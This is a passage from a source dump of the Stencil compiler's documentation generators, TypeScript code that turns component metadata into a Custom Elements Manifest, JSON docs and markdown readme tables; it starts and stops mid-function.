(docsData: d.JsonDocs): CustomElementsManifest => { // Group components by their source file path const componentsByFile = new Map(); for (const component of docsData.components) { const filePath = component.filePath; if (!componentsByFile.has(filePath)) { componentsByFile.set(filePath, []); } componentsByFile.get(filePath)!.push(component); } const modules: JavaScriptModule[] = []; for (const [filePath, components] of componentsByFile) { const declarations: CustomElementDeclaration[] = components.map((component) => componentToDeclaration(component)); const exports: (JavaScriptExport | CustomElementExport)[] = components.flatMap((component) => { const className = dashToPascalCase(component.tag); return [ { kind: 'js' as const, name: className, declaration: { name: className, }, }, { kind: 'custom-element-definition' as const, name: component.tag, declaration: { name: className, }, }, ]; }); modules.push({ kind: 'javascript-module', path: filePath, declarations, exports, }); } return { schemaVersion: '2.1.0', modules, }; }; /** * Convert Stencil's ComponentCompilerTypeReferences to CEM TypeReference array * @param references Stencil's type references map * @returns CEM TypeReference array */ const convertTypeReferences = (references?: d.ComponentCompilerTypeReferences): TypeReference[] | undefined => { if (!references || Object.keys(references).length === 0) { return undefined; } return Object.entries(references).map(([name, ref]) => ({ name, // Global types (like HTMLElement, Array) get 'global:' package ...(ref.location === 'global' && { package: 'global:' }), // Imported types get their module path ...(ref.location === 'import' && ref.path && { module: ref.path }), // Local types don't need package or module (they're in the same module) })); }; /** * Create a CEM Type object from a type string and optional references * @param text the type string * @param references Stencil's type references map * @returns CEM Type object */ const createType = (text: string, references?: d.ComponentCompilerTypeReferences): Type => { const typeRefs = convertTypeReferences(references); return { text, ...(typeRefs && { references: typeRefs }), }; }; /** * Convert a Stencil component to a Custom Element Declaration * @param component the Stencil component docs data * @returns the Custom Element Declaration */ const componentToDeclaration = (component: d.JsonDocsComponent): CustomElementDeclaration => { const className = dashToPascalCase(component.tag); const attributes: Attribute[] = component.props .filter((prop) => prop.attr !== undefined) .map((prop) => ({ name: prop.attr!, ...(prop.docs && { description: prop.docs }), ...(prop.type && { type: createType(prop.type, prop.complexType?.references) }), ...(prop.default !== undefined && { default: prop.default }), fieldName: prop.name, ...(prop.deprecation !== undefined && { deprecated: prop.deprecation || true }), })); const members: (CustomElementField | ClassMethod)[] = [ // Fields (properties) ...component.props.map( (prop): CustomElementField => ({ kind: 'field', name: prop.name, ...(prop.docs && { description: prop.docs }), ...(prop.type && { type: createType(prop.type, prop.complexType?.references) }), ...(prop.default !== undefined && { default: prop.default }), ...(prop.deprecation !== undefined && { deprecated: prop.deprecation || true }), ...(!prop.mutable && { readonly: true }), ...(prop.attr && { attribute: prop.attr }), ...(prop.reflectToAttr && { reflects: true }), }), ), // Methods ...component.methods.map( (method): ClassMethod => ({ kind: 'method', name: method.name, ...(method.docs && { description: method.docs }), ...(method.deprecation !== undefined && { deprecated: method.deprecation || true }), ...(method.parameters && method.parameters.length > 0 && { parameters: method.parameters.map((param) => ({ name: param.name, ...(param.docs && { description: param.docs }), ...(param.type && { type: createType(param.type, method.complexType?.references) }), })), }), ...(method.returns && { return: { ...(method.returns.type && { type: createType(method.returns.type, method.complexType?.references) }), ...(method.returns.docs && { description: method.returns.docs }), }, }), }), ), ]; const events: Event[] = component.events.map((event) => ({ name: event.event, ...(event.docs && { description: event.docs }), type: createType(event.detail ? `CustomEvent<${event.detail}>` : 'CustomEvent', event.complexType?.references), ...(event.deprecation !== undefined && { deprecated: event.deprecation || true }), })); const slots: Slot[] = component.slots.map((slot) => ({ name: slot.name, ...(slot.docs && { description: slot.docs }), })); const cssParts: CssPart[] = component.parts.map((part) => ({ name: part.name, ...(part.docs && { description: part.docs }), })); const cssProperties: CssCustomProperty[] = component.styles .filter((style) => style.annotation === 'prop') .map((style) => ({ name: style.name, ...(style.docs && { description: style.docs }), })); // Generate demos from usage examples const demos: Demo[] = Object.entries(component.usage || {}).map(([name, content]) => ({ // Create relative URL from usagesDir + filename url: component.usagesDir ? `${component.usagesDir}/${name}.md` : `${name}.md`, ...(content && { description: content }), })); return { kind: 'class', customElement: true, tagName: component.tag, name: className, ...(component.docs && { description: component.docs }), ...(component.deprecation !== undefined && { deprecated: component.deprecation || true }), ...(attributes.length > 0 && { attributes }), ...(members.length > 0 && { members }), ...(events.length > 0 && { events }), ...(slots.length > 0 && { slots }), ...(cssParts.length > 0 && { cssParts }), ...(cssProperties.length > 0 && { cssProperties }), ...(component.customStates.length > 0 && { customStates: component.customStates.map((state) => ({ name: state.name, initialValue: state.initialValue, ...(state.docs && { description: state.docs }), })), }), ...(demos.length > 0 && { demos }), }; }; // Custom Elements Manifest Types // Based on https://github.com/webcomponents/custom-elements-manifest/blob/main/schema.d.ts interface CustomElementsManifest { schemaVersion: string; modules: JavaScriptModule[]; } interface JavaScriptModule { kind: 'javascript-module'; path: string; declarations?: CustomElementDeclaration[]; exports?: (JavaScriptExport | CustomElementExport)[]; } interface JavaScriptExport { kind: 'js'; name: string; declaration: Reference; } interface CustomElementExport { kind: 'custom-element-definition'; name: string; declaration: Reference; } interface Reference { name: string; package?: string; module?: string; } interface CustomElementDeclaration { kind: 'class'; customElement: true; tagName: string; name: string; description?: string; deprecated?: boolean | string; attributes?: Attribute[]; members?: (CustomElementField | ClassMethod)[]; events?: Event[]; slots?: Slot[]; cssParts?: CssPart[]; cssProperties?: CssCustomProperty[]; customStates?: CustomState[]; demos?: Demo[]; } interface Demo { url: string; description?: string; } interface Attribute { name: string; description?: string; type?: Type; default?: string; fieldName?: string; deprecated?: boolean | string; } interface Type { text: string; references?: TypeReference[]; } interface TypeReference { name: string; package?: string; module?: string; } interface CustomElementField { kind: 'field'; name: string; description?: string; type?: Type; default?: string; deprecated?: boolean | string; readonly?: boolean; attribute?: string; reflects?: boolean; } interface ClassMethod { kind: 'method'; name: string; description?: string; deprecated?: boolean | string; parameters?: Parameter[]; return?: { type?: Type; description?: string; }; } interface Parameter { name: string; description?: string; type?: Type; } interface Event { name: string; description?: string; type: Type; deprecated?: boolean | string; } interface Slot { name: string; description?: string; } interface CssPart { name: string; description?: string; } /** * Custom state that can be targeted with the CSS :state() pseudo-class. * This is a custom extension to the CEM spec. */ interface CustomState { name: string; initialValue: boolean; description?: string; } interface CssCustomProperty { name: string; description?: string; } ================================================ FILE: src/compiler/docs/constants.ts ================================================ export const AUTO_GENERATE_COMMENT = ``; export const NOTE = `*Built with [StencilJS](https://stenciljs.com/)*`; ================================================ FILE: src/compiler/docs/custom/index.ts ================================================ import { isOutputTargetDocsCustom } from '@utils'; import type * as d from '../../../declarations'; export const generateCustomDocs = async ( config: d.ValidatedConfig, docsData: d.JsonDocs, outputTargets: d.OutputTarget[], ) => { const customOutputTargets = outputTargets.filter(isOutputTargetDocsCustom); if (customOutputTargets.length === 0) { return; } await Promise.all( customOutputTargets.map(async (customOutput) => { try { await customOutput.generator(docsData, config); } catch (e) { config.logger.error(`uncaught custom docs error: ${e}`); } }), ); }; ================================================ FILE: src/compiler/docs/generate-doc-data.ts ================================================ import { DEFAULT_STYLE_MODE, flatOne, isOutputTargetDocsJson, join, normalizePath, relative, sortBy, unique, } from '@utils'; import { basename, dirname } from 'path'; import type * as d from '../../declarations'; import { JsonDocsValue } from '../../declarations'; import { typescriptVersion, version } from '../../version'; import { getBuildTimestamp } from '../build/build-ctx'; import { addFileToLibrary, getTypeLibrary } from '../transformers/type-library'; import { AUTO_GENERATE_COMMENT } from './constants'; /** * Generate metadata that will be used to generate any given documentation-related * output target(s) * * @param config the configuration associated with the current Stencil task run * @param compilerCtx the current compiler context * @param buildCtx the build context for the current Stencil task run * @returns the generated metadata */ export const generateDocData = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, ): Promise => { const jsonOutputTargets = config.outputTargets.filter(isOutputTargetDocsJson); const supplementalPublicTypes = findSupplementalPublicTypes(jsonOutputTargets); if (supplementalPublicTypes !== '') { // if supplementalPublicTypes is set then we want to add all the public // types in that file to the type library so that output targets producing // documentation can make use of that data later. addFileToLibrary(config, supplementalPublicTypes); } const typeLibrary = getTypeLibrary(); return { timestamp: getBuildTimestamp(), compiler: { name: '@stencil/core', version, typescriptVersion, }, components: await getDocsComponents(config, compilerCtx, buildCtx), typeLibrary, }; }; /** * If the `supplementalPublicTypes` option is set on one output target, find that value and return it. * * @param outputTargets an array of docs-json output targets * @returns the first value encountered for supplementalPublicTypes or an empty string */ function findSupplementalPublicTypes(outputTargets: d.OutputTargetDocsJson[]): string { for (const docsJsonOT of outputTargets) { if (docsJsonOT.supplementalPublicTypes) { return docsJsonOT.supplementalPublicTypes; } } return ''; } /** * Derive the metadata for each Stencil component * * @param config the configuration associated with the current Stencil task run * @param compilerCtx the current compiler context * @param buildCtx the build context for the current Stencil task run * @returns the derived metadata */ const getDocsComponents = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, ): Promise => { const results = await Promise.all( buildCtx.moduleFiles.map(async (moduleFile) => { const filePath = moduleFile.sourceFilePath; const dirPath = normalizePath(dirname(filePath)); const readmePath = normalizePath(join(dirPath, 'readme.md')); const usagesDir = normalizePath(join(dirPath, 'usage')); const readme = await getUserReadmeContent(compilerCtx, readmePath); const usage = await generateUsages(compilerCtx, usagesDir); return moduleFile.cmps .filter((cmp: d.ComponentCompilerMeta) => !cmp.internal && !cmp.isCollectionDependency) .map((cmp: d.ComponentCompilerMeta) => ({ dirPath, filePath: normalizePath(relative(config.rootDir, filePath), false), fileName: basename(filePath), readmePath, usagesDir, tag: cmp.tagName, readme, overview: cmp.docs.text, usage, docs: generateDocs(readme, cmp.docs), docsTags: cmp.docs.tags, encapsulation: getDocsEncapsulation(cmp), dependents: cmp.directDependents, dependencies: cmp.directDependencies, dependencyGraph: buildDocsDepGraph(cmp, buildCtx.components), deprecation: getDocsDeprecationText(cmp.docs.tags), props: getDocsProperties(cmp), methods: getDocsMethods(cmp.methods), events: getDocsEvents(cmp.events), styles: getDocsStyles(cmp), slots: getDocsSlots(cmp.docs.tags), parts: getDocsParts(cmp.htmlParts, cmp.docs.tags), customStates: getDocsCustomStates(cmp), listeners: getDocsListeners(cmp.listeners), })); }), ); return sortBy(flatOne(results), (cmp) => cmp.tag); }; const buildDocsDepGraph = ( cmp: d.ComponentCompilerMeta, cmps: d.ComponentCompilerMeta[], ): d.JsonDocsDependencyGraph => { const dependencies: d.JsonDocsDependencyGraph = {}; function walk(tagName: string): void { if (!dependencies[tagName]) { const cmp = cmps.find((c) => c.tagName === tagName); const deps = cmp?.directDependencies; if (deps?.length > 0) { dependencies[tagName] = deps; deps.forEach(walk); } } } walk(cmp.tagName); // load dependents cmp.directDependents.forEach((tagName) => { if (dependencies[tagName] && !dependencies[tagName].includes(cmp.tagName)) { dependencies[tagName].push(cmp.tagName); } else { dependencies[tagName] = [cmp.tagName]; } }); return dependencies; }; /** * Determines the encapsulation string to use, based on the provided compiler metadata * @param cmp the metadata for a single component * @returns the encapsulation level, expressed as a string */ const getDocsEncapsulation = (cmp: d.ComponentCompilerMeta): 'shadow' | 'scoped' | 'none' => { if (cmp.encapsulation === 'shadow') { return 'shadow'; } else if (cmp.encapsulation === 'scoped') { return 'scoped'; } else { return 'none'; } }; /** * Generate a collection of JSDoc metadata for both real and virtual props * @param cmpMeta the component metadata to derive JSDoc metadata from * @returns the derived metadata */ const getDocsProperties = (cmpMeta: d.ComponentCompilerMeta): d.JsonDocsProp[] => { return sortBy( [...getRealProperties(cmpMeta.properties), ...getVirtualProperties(cmpMeta.virtualProperties)], (p) => p.name, ); }; /** * Generate a collection of JSDoc metadata for props on a component * @param properties the component's property metadata to derive JSDoc metadata from * @returns the derived metadata */ const getRealProperties = (properties: d.ComponentCompilerProperty[]): d.JsonDocsProp[] => { return properties .filter((member) => !member.internal) .map((member) => ({ name: member.name, type: member.complexType.resolved, complexType: member.complexType, mutable: member.mutable, attr: member.attribute, reflectToAttr: !!member.reflect, docs: member.docs.text, docsTags: member.docs.tags, default: member.defaultValue, deprecation: getDocsDeprecationText(member.docs.tags), values: parseTypeIntoValues(member.complexType.resolved), optional: member.optional, required: member.required, getter: member.getter, setter: member.setter, })); }; /** * Generate a collection of JSDoc metadata for props on a component * @param virtualProps the component's virtual property metadata to derive JSDoc metadata from * @returns the derived metadata */ const getVirtualProperties = (virtualProps: d.ComponentCompilerVirtualProperty[]): d.JsonDocsProp[] => { return virtualProps.map( (member): d.JsonDocsProp => ({ name: member.name, type: member.type, mutable: false, attr: member.name, reflectToAttr: false, docs: member.docs, docsTags: [], default: undefined, deprecation: undefined, values: parseTypeIntoValues(member.type), optional: true, required: false, getter: undefined, setter: undefined, }), ); }; const parseTypeIntoValues = (type: string): d.JsonDocsValue[] => { if (typeof type === 'string') { const unions = type.split('|').map((u) => u.trim()); const parsedUnions: JsonDocsValue[] = []; unions.forEach((u) => { if (u === 'true') { parsedUnions.push({ value: 'true', type: 'boolean', }); return; } if (u === 'false') { parsedUnions.push({ value: 'false', type: 'boolean', }); return; } if (!Number.isNaN(parseFloat(u))) { // union is a number parsedUnions.push({ value: u, type: 'number', }); return; } if (/^("|').+("|')$/gm.test(u)) { // ionic is a string parsedUnions.push({ value: u.slice(1, -1), type: 'string', }); return; } parsedUnions.push({ type: u, }); }); return parsedUnions; } return []; }; const getDocsMethods = (methods: d.ComponentCompilerMethod[]): d.JsonDocsMethod[] => { return sortBy(methods, (member) => member.name) .filter((member) => !member.internal) .map( (member) => { name: member.name, returns: { type: member.complexType.return, docs: member.docs.tags .filter((t) => t.name === 'return' || t.name === 'returns') .map((t) => t.text) .join('\n'), }, complexType: member.complexType, signature: `${member.name}${member.complexType.signature}`, parameters: member.complexType.parameters, docs: member.docs.text, docsTags: member.docs.tags, deprecation: getDocsDeprecationText(member.docs.tags), }, ); }; const getDocsEvents = (events: d.ComponentCompilerEvent[]): d.JsonDocsEvent[] => { return sortBy(events, (eventMeta) => eventMeta.name.toLowerCase()) .filter((eventMeta) => !eventMeta.internal) .map((eventMeta) => ({ event: eventMeta.name, detail: eventMeta.complexType.resolved, bubbles: eventMeta.bubbles, complexType: eventMeta.complexType, cancelable: eventMeta.cancelable, composed: eventMeta.composed, docs: eventMeta.docs.text, docsTags: eventMeta.docs.tags, deprecation: getDocsDeprecationText(eventMeta.docs.tags), })); }; /** * Transforms the {@link d.CompilerStyleDoc} metadata for a component into a {@link d.JsonDocsStyle}, providing sensible * defaults where needed. * @param cmpMeta the metadata for a single Stencil component, which contains the compiler style metadata * @returns a new series containing a {@link d.JsonDocsStyle} entry for each {@link d.CompilerStyleDoc} entry. */ export const getDocsStyles = (cmpMeta: d.ComponentCompilerMeta): d.JsonDocsStyle[] => { if (!cmpMeta.styleDocs) { return []; } return sortBy( cmpMeta.styleDocs, (compilerStyleDoc) => `${compilerStyleDoc.name.toLowerCase()},${compilerStyleDoc.mode.toLowerCase()}}`, ).map((compilerStyleDoc) => { return { name: compilerStyleDoc.name, annotation: compilerStyleDoc.annotation || '', docs: compilerStyleDoc.docs || '', mode: compilerStyleDoc.mode && compilerStyleDoc.mode !== DEFAULT_STYLE_MODE ? compilerStyleDoc.mode : undefined, }; }); }; const getDocsListeners = (listeners: d.ComponentCompilerListener[]): d.JsonDocsListener[] => { return listeners.map((listener) => ({ event: listener.name, target: listener.target, capture: listener.capture, passive: listener.passive, })); }; /** * Get the text associated with a `@deprecated` tag, if one exists * @param tags the tags associated with a JSDoc block on a node in the AST * @returns the text associated with the first found `@deprecated` tag. If a `@deprecated` tag exists but does not * have associated text, an empty string is returned. If no such tag is found, return `undefined` */ const getDocsDeprecationText = (tags: d.JsonDocsTag[]): string | undefined => { const deprecation = tags.find((t) => t.name === 'deprecated'); if (deprecation) { return deprecation.text || ''; } return undefined; }; const getDocsSlots = (tags: d.JsonDocsTag[]): d.JsonDocsSlot[] => { return sortBy( getNameText('slot', tags).map(([name, docs]) => ({ name, docs })), (a) => a.name, ); }; const getDocsParts = (vdom: string[], tags: d.JsonDocsTag[]): d.JsonDocsSlot[] => { const docsParts = getNameText('part', tags).map(([name, docs]) => ({ name, docs })); const vdomParts = vdom.map((name) => ({ name, docs: '' })); return sortBy( unique([...docsParts, ...vdomParts], (p) => p.name), (p) => p.name, ); }; /** * Extract custom states documentation from component metadata * * @param cmpMeta the component metadata to extract custom states from * @returns array of custom state documentation objects */ const getDocsCustomStates = (cmpMeta: d.ComponentCompilerMeta): d.JsonDocsCustomState[] => { if (!cmpMeta.attachInternalsCustomStates || cmpMeta.attachInternalsCustomStates.length === 0) { return []; } return sortBy( cmpMeta.attachInternalsCustomStates.map((state) => ({ name: state.name, initialValue: state.initialValue, docs: state.docs || '', })), (state) => state.name, ); }; export const getNameText = (name: string, tags: d.JsonDocsTag[]) => { return tags .filter((tag) => tag.name === name && tag.text) .map(({ text }) => { const [namePart, ...rest] = (' ' + text).split(' - '); return [namePart.trim(), rest.join(' - ').trim()]; }); }; /** * Attempts to read a pre-existing README.md file from disk, returning any content generated by the user. * * For simplicity's sake, it is assumed that all user-generated content will fall before {@link AUTO_GENERATE_COMMENT} * * @param compilerCtx the current compiler context * @param readmePath the path to the README file to read * @returns the user generated content that occurs before {@link AUTO_GENERATE_COMMENT}. If no user generated content * exists, or if there was an issue reading the file, return `undefined` */ export const getUserReadmeContent = async ( compilerCtx: d.CompilerCtx, readmePath: string, ): Promise => { try { const existingContent = await compilerCtx.fs.readFile(readmePath); // subtract one to get everything up to, but not including the auto generated comment const userContentIndex = existingContent.indexOf(AUTO_GENERATE_COMMENT) - 1; if (userContentIndex >= 0) { return existingContent.substring(0, userContentIndex); } } catch (e) {} return undefined; }; /** * Generate documentation for a given component based on the provided JSDoc and README contents * @param readme the contents of a component's README file, without any autogenerated contents * @param jsdoc the JSDoc associated with the component's declaration * @returns the generated documentation */ const generateDocs = (readme: string | undefined, jsdoc: d.CompilerJsDoc): string => { const docs = jsdoc.text; if (docs !== '' || !readme) { // just return the existing docs if they exist. these would have been captured earlier in the compilation process. // if they don't exist, and there's no README to process, return an empty string. return docs; } /** * Parse the README, storing the first section of content. * Content is defined as the area between two non-consecutive lines that start with a '#': * ``` * # Header 1 * This is some content * # Header 2 * This is more content * # Header 3 * Again, content * ``` * In the example above, this chunk of code is designed to capture "This is some content" */ let isContent = false; const lines = readme.split('\n'); const contentLines = []; for (const line of lines) { const isHeader = line.startsWith('#'); if (isHeader && isContent) { // we were actively parsing content, but found a new header, break out break; } if (!isHeader && !isContent) { // we've found content for the first time, set this sentinel to `true` isContent = true; } if (isContent) { // we're actively parsing the first found block of content, add it to our list for later contentLines.push(line); } } return contentLines.join('\n').trim(); }; /** * This function is responsible for reading the contents of all markdown files in a provided `usage` directory and * returning their contents * @param compilerCtx the current compiler context * @param usagesDir the directory to read usage markdown files from * @returns an object that maps the filename containing the usage example, to the file's contents. If an error occurs, * an empty object is returned. */ const generateUsages = async (compilerCtx: d.CompilerCtx, usagesDir: string): Promise => { const rtn: d.JsonDocsUsage = {}; try { const usageFilePaths = await compilerCtx.fs.readdir(usagesDir); const usages: d.JsonDocsUsage = {}; await Promise.all( usageFilePaths.map(async (f) => { if (!f.isFile) { return; } const fileName = basename(f.relPath); if (!fileName.toLowerCase().endsWith('.md')) { return; } const parts = fileName.split('.'); parts.pop(); const key = parts.join('.'); usages[key] = await compilerCtx.fs.readFile(f.absPath); }), ); Object.keys(usages) .sort() .forEach((key) => { rtn[key] = usages[key]; }); } catch (e) {} return rtn; }; ================================================ FILE: src/compiler/docs/json/index.ts ================================================ import { isOutputTargetDocsJson, join } from '@utils'; import type * as d from '../../../declarations'; export const generateJsonDocs = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, docsData: d.JsonDocs, outputTargets: d.OutputTarget[], ) => { const jsonOutputTargets = outputTargets.filter(isOutputTargetDocsJson); if (jsonOutputTargets.length === 0) { return; } const docsDtsPath = join(config.sys.getCompilerExecutingPath(), '..', '..', 'internal', 'stencil-public-docs.d.ts'); let docsDts = await compilerCtx.fs.readFile(docsDtsPath); // this file was written by dts-bundle-generator, which uses tabs for // indentation. Instead, let's replace those with spaces! docsDts = docsDts .split('\n') .map((line) => line.replace(/\t/g, ' ')) .join('\n'); const typesContent = ` /** * This is an autogenerated file created by the Stencil compiler. * DO NOT MODIFY IT MANUALLY */ ${docsDts} declare const _default: JsonDocs; export default _default; `; const json = { ...docsData, components: docsData.components.map((cmp) => ({ filePath: cmp.filePath, encapsulation: cmp.encapsulation, tag: cmp.tag, readme: cmp.readme, docs: cmp.docs, docsTags: cmp.docsTags, usage: cmp.usage, props: cmp.props, methods: cmp.methods, events: cmp.events, listeners: cmp.listeners, styles: cmp.styles, slots: cmp.slots, parts: cmp.parts, states: cmp.customStates, dependents: cmp.dependents, dependencies: cmp.dependencies, dependencyGraph: cmp.dependencyGraph, deprecation: cmp.deprecation, })), }; const jsonContent = JSON.stringify(json, null, 2); await Promise.all( jsonOutputTargets.map((jsonOutput) => { return writeDocsOutput(compilerCtx, jsonOutput, jsonContent, typesContent); }), ); }; export const writeDocsOutput = async ( compilerCtx: d.CompilerCtx, jsonOutput: d.OutputTargetDocsJson, jsonContent: string, typesContent: string, ) => { return Promise.all([ compilerCtx.fs.writeFile(jsonOutput.file, jsonContent), jsonOutput.typesFile ? compilerCtx.fs.writeFile(jsonOutput.typesFile, typesContent) : (Promise.resolve() as any), ]); }; ================================================ FILE: src/compiler/docs/readme/docs-util.ts ================================================ export class MarkdownTable { private rows: RowData[] = []; addHeader(data: string[]) { this.addRow(data, true); } addRow(data: string[], isHeader = false) { const colData: ColumnData[] = []; data.forEach((text) => { const col: ColumnData = { text: escapeMarkdownTableColumn(text), width: text.length, }; colData.push(col); }); this.rows.push({ columns: colData, isHeader: isHeader, }); } toMarkdown() { return createTable(this.rows); } } const escapeMarkdownTableColumn = (text: string) => { text = text.replace(/\r?\n/g, ' '); text = text.replace(/\|/g, '\\|'); return text; }; const createTable = (rows: RowData[]) => { const content: string[] = []; if (rows.length === 0) { return content; } normalizeColumCount(rows); normalizeColumnWidth(rows); const th = rows.find((r) => r.isHeader); if (th) { const headerRow = createRow(th); content.push(headerRow); content.push(createBorder(th)); } const tds = rows.filter((r) => !r.isHeader); tds.forEach((td) => { content.push(createRow(td)); }); return content; }; const createBorder = (th: RowData) => { const border: RowData = { columns: [], isHeader: false, }; th.columns.forEach((c) => { const borderCol: ColumnData = { text: '', width: c.width, }; while (borderCol.text.length < borderCol.width) { borderCol.text += '-'; } border.columns.push(borderCol); }); return createRow(border); }; const createRow = (row: RowData) => { const content: string[] = ['| ']; row.columns.forEach((c) => { content.push(c.text); content.push(' | '); }); return content.join('').trim(); }; const normalizeColumCount = (rows: RowData[]) => { let columnCount = 0; rows.forEach((r) => { if (r.columns.length > columnCount) { columnCount = r.columns.length; } }); rows.forEach((r) => { while (r.columns.length < columnCount) { r.columns.push({ text: ``, width: 0, }); } }); }; const normalizeColumnWidth = (rows: RowData[]) => { const columnCount = rows[0].columns.length; for (let columnIndex = 0; columnIndex < columnCount; columnIndex++) { let longestText = 0; rows.forEach((r) => { const col = r.columns[columnIndex]; if (col.text.length > longestText) { longestText = col.text.length; } }); rows.forEach((r) => { const col = r.columns[columnIndex]; col.width = longestText; while (col.text.length < longestText) { col.text += ' '; } }); } }; /** * Checks if a given string is a valid hexadecimal color representation. * * @param str - The string to be checked. * @returns `true` if the string is a valid hex color (e.g., '#FF00AA', '#f0f'), `false` otherwise. * * @example * isHexColor('#FF00AA'); // true * isHexColor('#f0f'); // true * isHexColor('#abcde'); // false (too many characters) * isHexColor('FF00AA'); // false (missing #) */ export const isHexColor = (str: string): boolean => { const hexColorRegex = /^#([0-9A-Fa-f]{3}){1,2}$/; return hexColorRegex.test(str); }; interface ColumnData { text: string; width: number; } interface RowData { columns: ColumnData[]; isHeader?: boolean; } ================================================ FILE: src/compiler/docs/readme/index.ts ================================================ import { isOutputTargetDocsReadme } from '@utils'; import type * as d from '../../../declarations'; import { generateReadme } from './output-docs'; export const generateReadmeDocs = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, docsData: d.JsonDocs, outputTargets: d.OutputTarget[], ) => { const readmeOutputTargets = outputTargets.filter(isOutputTargetDocsReadme); if (readmeOutputTargets.length === 0) { return; } const strictCheck = readmeOutputTargets.some((o) => o.strict); if (strictCheck) { strictCheckDocs(config, docsData); } await Promise.all( docsData.components.map((cmpData) => { return generateReadme(config, compilerCtx, readmeOutputTargets, cmpData, docsData.components); }), ); }; export const strictCheckDocs = (config: d.ValidatedConfig, docsData: d.JsonDocs) => { docsData.components.forEach((component) => { component.props.forEach((prop) => { if (!prop.docs && prop.deprecation === undefined) { config.logger.warn(`Property "${prop.name}" of "${component.tag}" is not documented. ${component.filePath}`); } }); component.methods.forEach((method) => { if (!method.docs && method.deprecation === undefined) { config.logger.warn(`Method "${method.name}" of "${component.tag}" is not documented. ${component.filePath}`); } }); component.events.forEach((ev) => { if (!ev.docs && ev.deprecation === undefined) { config.logger.warn(`Event "${ev.event}" of "${component.tag}" is not documented. ${component.filePath}`); } }); component.parts.forEach((ev) => { if (ev.docs === '') { config.logger.warn(`Part "${ev.name}" of "${component.tag}" is not documented. ${component.filePath}`); } }); }); }; ================================================ FILE: src/compiler/docs/readme/markdown-css-props.ts ================================================ import type * as d from '../../../declarations'; import { MarkdownTable } from './docs-util'; export const stylesToMarkdown = (styles: d.JsonDocsStyle[]) => { const content: string[] = []; if (styles.length === 0) { return content; } content.push(`## CSS Custom Properties`); content.push(``); const table = new MarkdownTable(); table.addHeader(['Name', 'Description']); styles.forEach((style) => { table.addRow([`\`${style.name}\``, style.docs]); }); content.push(...table.toMarkdown()); content.push(``); content.push(``); return content; }; ================================================ FILE: src/compiler/docs/readme/markdown-custom-states.ts ================================================ import type * as d from '../../../declarations'; import { MarkdownTable } from './docs-util'; /** * Converts a list of Custom States metadata to a table written in Markdown * @param customStates the Custom States metadata to convert * @returns a list of strings that make up the Markdown table */ export const customStatesToMarkdown = (customStates: d.JsonDocsCustomState[]): ReadonlyArray => { const content: string[] = []; if (customStates.length === 0) { return content; } content.push(`## Custom States`); content.push(``); const table = new MarkdownTable(); table.addHeader(['State', 'Initial Value', 'Description']); customStates.forEach((state) => { table.addRow([`\`:state(${state.name})\``, state.initialValue ? '`true`' : '`false`', state.docs]); }); content.push(...table.toMarkdown()); content.push(``); content.push(``); return content; }; ================================================ FILE: src/compiler/docs/readme/markdown-dependencies.ts ================================================ import { normalizePath, relative } from '@utils'; import type * as d from '../../../declarations'; export const depsToMarkdown = (cmp: d.JsonDocsComponent, cmps: d.JsonDocsComponent[], config: d.ValidatedConfig) => { const content: string[] = []; const deps = Object.entries(cmp.dependencyGraph); if (deps.length === 0) { return content; } content.push(`## Dependencies`); content.push(``); if (cmp.dependents.length > 0) { const usedBy = cmp.dependents.map((tag) => ' - ' + getCmpLink(cmp, tag, cmps)); content.push(`### Used by`); content.push(``); content.push(...usedBy); content.push(``); } if (cmp.dependencies.length > 0) { const dependsOn = cmp.dependencies.map((tag) => '- ' + getCmpLink(cmp, tag, cmps)); content.push(`### Depends on`); content.push(``); content.push(...dependsOn); content.push(``); } content.push(`### Graph`); content.push('```mermaid'); content.push('graph TD;'); deps.forEach(([key, deps]) => { deps.forEach((dep) => { content.push(` ${key} --> ${dep}`); }); }); const { background, textColor } = config.docs.markdown.targetComponent; content.push(` style ${cmp.tag} fill:${background},stroke:${textColor},stroke-width:4px`); content.push('```'); content.push(``); return content; }; const getCmpLink = (from: d.JsonDocsComponent, to: string, cmps: d.JsonDocsComponent[]) => { const destCmp = cmps.find((c) => c.tag === to); if (destCmp) { const cmpRelPath = normalizePath(relative(from.dirPath, destCmp.dirPath)); return `[${to}](${cmpRelPath})`; } return to; }; ================================================ FILE: src/compiler/docs/readme/markdown-events.ts ================================================ import type * as d from '../../../declarations'; import { MarkdownTable } from './docs-util'; export const eventsToMarkdown = (events: d.JsonDocsEvent[]) => { const content: string[] = []; if (events.length === 0) { return content; } content.push(`## Events`); content.push(``); const table = new MarkdownTable(); table.addHeader(['Event', 'Description', 'Type']); events.forEach((ev) => { table.addRow([`\`${ev.event}\``, getDocsField(ev), `\`CustomEvent<${ev.detail}>\``]); }); content.push(...table.toMarkdown()); content.push(``); content.push(``); return content; }; const getDocsField = (prop: d.JsonDocsEvent) => { return `${ prop.deprecation !== undefined ? `**[DEPRECATED]** ${prop.deprecation}

` : '' }${prop.docs}`; }; ================================================ FILE: src/compiler/docs/readme/markdown-methods.ts ================================================ import type * as d from '../../../declarations'; import { MarkdownTable } from './docs-util'; export const methodsToMarkdown = (methods: d.JsonDocsMethod[]) => { const content: string[] = []; if (methods.length === 0) { return content; } content.push(`## Methods`); content.push(``); methods.forEach((method) => { content.push(`### \`${method.signature}\``); content.push(``); content.push(getDocsField(method)); content.push(``); if (method.parameters.length > 0) { const parmsTable = new MarkdownTable(); parmsTable.addHeader(['Name', 'Type', 'Description']); method.parameters.forEach(({ name, type, docs }) => { parmsTable.addRow(['`' + name + '`', '`' + type + '`', docs]); }); content.push(`#### Parameters`); content.push(``); content.push(...parmsTable.toMarkdown()); content.push(``); } if (method.returns) { content.push(`#### Returns`); content.push(``); content.push(`Type: \`${method.returns.type}\``); content.push(``); content.push(method.returns.docs); content.push(``); } }); content.push(``); return content; }; const getDocsField = (prop: d.JsonDocsMethod) => { return `${ prop.deprecation !== undefined ? `**[DEPRECATED]** ${prop.deprecation}

